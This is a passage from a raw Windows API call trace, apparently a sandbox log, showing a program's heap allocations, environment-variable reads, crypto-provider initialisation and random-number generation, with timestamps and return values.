lpMem=0x5eb7c0 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d330 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5e9ca0 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d358 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ddac0 | out: hHeap=0x5b0000) returned 1 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d330 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20023) returned 0x619210 [0029.483] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x619220, nSize=0xffff | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5e9d08 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x601838 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x5e9ca0 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d0838 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd8) returned 0x5e9ee8 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb7c0 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb8c8 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb920 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x138) returned 0x5e3198 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ee8 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb978 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eb9d0 [0029.483] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18fc98, nSize=0x32 | out: lpBuffer="C:") returned 0x2 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d330 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d380 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c8) returned 0x5cc8d0 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e3198 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3a8 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5e12f0 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3d0 [0029.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x619210 | out: hHeap=0x5b0000) returned 1 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0029.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x5d08b0 [0029.484] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x5b0000) returned 1 [0029.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x124fa3) returned 0x2d70020 [0029.484] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d1aa0 [0029.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5e9958 [0029.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3f8 [0029.487] CryptAcquireContextA (in: phProv=0x18fc98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18fc98*=0x601838) returned 1 [0030.393] RtlWakeAllConditionVariable () returned 0x0 [0030.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4950 [0030.393] CryptAcquireContextA (in: phProv=0x5d4950, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5d4950*=0x5e61c8) returned 1 [0030.394] CryptGenRandom (in: hProv=0x5e61c8, dwLen=0x20, pbBuffer=0x60d3f8 | out: pbBuffer=0x60d3f8) returned 1 [0030.394] CryptReleaseContext (hProv=0x601838, dwFlags=0x0) returned 1 [0030.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d3f8 | out: hHeap=0x5b0000) returned 1 [0030.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d3f8 [0030.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0030.396] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbf0 | out: lpPerformanceCount=0x18fbf0*=17228739852) returned 1 [0030.533] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0030.533] GetLastError () returned 0x57 [0030.533] LoadLibraryExW (lpLibFileName="api-ms-win-core-sysinfo-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0030.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc30 | out: lpSystemTimeAsFileTime=0x18fc30*(dwLowDateTime=0xa3379da0, dwHighDateTime=0x1d5e09d)) [0030.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0030.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0030.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6e8 [0030.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0030.537] GetLastError () returned 0x7e [0030.537] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0030.537] SetLastError (dwErrCode=0x7e) [0030.537] GetLastError () returned 0x7e [0030.537] SetLastError (dwErrCode=0x7e) [0030.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0030.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0030.537] GetLastError () returned 0x7e [0030.538] SetLastError (dwErrCode=0x7e) [0030.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0030.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d420 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5e9290 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4990 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d470 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d498 [0030.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d5f30 [0030.539] GetLastError () returned 0x7e [0030.539] SetLastError (dwErrCode=0x7e) [0030.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d4c0 [0030.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d4e8 [0030.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4930 [0030.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4980 [0030.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49b0 [0030.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4980 | out: hHeap=0x5b0000) returned 1 [0030.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4980 [0030.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49b0 | out: hHeap=0x5b0000) returned 1 [0030.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4930 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4930 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606998 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4930 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4980 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606998 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069c8 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069c8 | out: hHeap=0x5b0000) returned 1 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6e8 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6e8 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d510 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6e8 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d510 | out: hHeap=0x5b0000) returned 1 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6c8 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x606cd8 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d510 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4980 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x606998 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4980 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0030.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6e8 [0030.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0030.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x24) returned 0x606cd8 [0030.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0030.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d510 | out: hHeap=0x5b0000) returned 1 [0030.542] RtlWakeAllConditionVariable () returned 0x0 [0030.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0030.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d6de8 [0030.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0030.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d420 | out: hHeap=0x5b0000) returned 1 [0030.543] RtlInitializeConditionVariable () returned 0x493094 [0030.543] RtlWakeAllConditionVariable () returned 0x0 [0030.543] GetCurrentThreadId () returned 0x978 [0030.543] GetCurrentThreadId () returned 0x978 [0030.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4980 [0030.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0030.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0030.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0030.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x606a50 [0030.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0030.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0030.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5e9290 [0030.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x606a50 [0030.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0030.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x606a50 [0030.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0030.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x606a50 [0030.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0030.544] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0030.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d6f08 [0030.545] QueryPerformanceCounter (in: lpPerformanceCount=0x18fa10 | out: lpPerformanceCount=0x18fa10*=17243144743) returned 1 [0030.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa50 | out: lpSystemTimeAsFileTime=0x18fa50*(dwLowDateTime=0xa339ff00, dwHighDateTime=0x1d5e09d)) [0030.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4930 [0030.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d420 [0030.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6e8 [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d420 | out: hHeap=0x5b0000) returned 1 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d420 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6e8 [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6e8 | out: hHeap=0x5b0000) returned 1 [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d420 | out: hHeap=0x5b0000) returned 1 [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4930 | out: hHeap=0x5b0000) returned 1 [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6f08 | out: hHeap=0x5b0000) returned 1 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0030.561] GetLastError () returned 0x7e [0030.561] SetLastError (dwErrCode=0x7e) [0030.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cbeb0 [0030.561] RtlWakeAllConditionVariable () returned 0x0 [0030.561] RtlWakeAllConditionVariable () returned 0x0 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6e8 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d420 [0030.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2058 [0030.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cc550 [0030.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d4c0 [0030.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d510 [0030.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60cdc0 [0030.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d1760 [0030.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d538 [0030.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d1880 [0030.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x513) returned 0x6105c0 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x60c798 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x5d2850 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x60c798 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d560 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d588 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d560 | out: hHeap=0x5b0000) returned 1 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2850 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x5d2970 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x52b) returned 0x5d33c8 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2970 | out: hHeap=0x5b0000) returned 1 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc) returned 0x6069b0 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c7600 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d588 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d560 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d5b0 [0030.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d5d8 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d560 | out: hHeap=0x5b0000) returned 1 [0030.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x213) returned 0x60c798 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d588 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b) returned 0x60d560 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2970 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d560 | out: hHeap=0x5b0000) returned 1 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x433) returned 0x5d33c8 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d538 | out: hHeap=0x5b0000) returned 1 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2a90 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2970 | out: hHeap=0x5b0000) returned 1 [0030.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5cb6c8 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2970 [0030.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2bb0 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d510 | out: hHeap=0x5b0000) returned 1 [0030.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2cd0 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2bb0 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2970 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0030.567] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2bb0 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2bb0 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0030.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1880 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2a90 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0030.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5d2058 [0030.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x113) returned 0x5cc550 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2cd0 | out: hHeap=0x5b0000) returned 1 [0030.568] HeapFree 